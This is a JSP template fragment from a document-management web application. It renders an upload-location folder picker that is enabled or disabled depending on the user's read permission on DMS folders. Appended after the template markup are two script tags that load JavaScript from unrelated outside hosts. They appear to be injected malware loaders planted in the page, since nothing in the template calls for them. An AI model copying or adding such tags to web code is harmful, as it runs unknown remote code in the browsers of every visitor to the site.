<%
  String rootID = "";
  String parentID = "";
  if(!Utility.isEmpty(maintFormSubmissionForm.getDmsRootID()) && !Integer.valueOf("0").equals(maintFormSubmissionForm.getDmsRootID()) ){
    rootID = maintFormSubmissionForm.getDmsRootID().toString();
  }
  
  if(!Utility.isEmpty(maintFormSubmissionForm.getDmsParentID()) && !Integer.valueOf("0").equals(maintFormSubmissionForm.getDmsParentID()) ){
    parentID = maintFormSubmissionForm.getDmsParentID().toString();
  }
%>
<tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="15"/></td>
</tr>
  <layout:sectionHeader name='form.label.upload_form_information_to_dms' mandatory='false'/>
     <% String permissionStr = "";
        Integer DMS_PERSONAL_FOLDER = new Integer("6001");
        Integer DMS_PUBLIC_FOLDER = new Integer("6002");  
        try {
          conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
          PermissionManager permissionManager = sessionContainer.getPermissionManager();
          permissionStr = permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PERSONAL_FOLDER);
          permissionStr += permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PUBLIC_FOLDER);
        } catch(Exception ex) {
          conn = null;
        }
        if(!Utility.isEmpty(permissionStr) && permissionStr.indexOf("R") > -1 ){ 
    %>
<tr>
   <td class="<layout:classLabel/>" width="25%"><bean:message key='form.label.upload_location'/>:</td>
   <td class="dataField" width="75%">
     <dms:folderPicker property="locationPath" hiddenRootID="rootID" hiddenParentID="dmsParentID" hiddenRootIDValue="<%=rootID%>" hiddenParentIDValue="<%=parentID%>"  size="50" allowCompoundDoc="false" allowPaperDoc="false" allowReset = "true" />
   </td>
</tr>
<%} else {%>
<tr>
   <td class="<layout:classLabel/>" width="25%"><bean:message key='form.label.upload_location'/>:</td>
   <td class="dataField" width="75%">
     <dms:folderPicker property="locationPath" hiddenRootID="rootID" hiddenParentID="dmsParentID" hiddenRootIDValue="<%=rootID%>" hiddenParentIDValue="<%=parentID%>"  size="50" allowCompoundDoc="false" allowPaperDoc="false" allowReset = "true" disabled = "true"/>
   </td>
</tr>
<%}%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>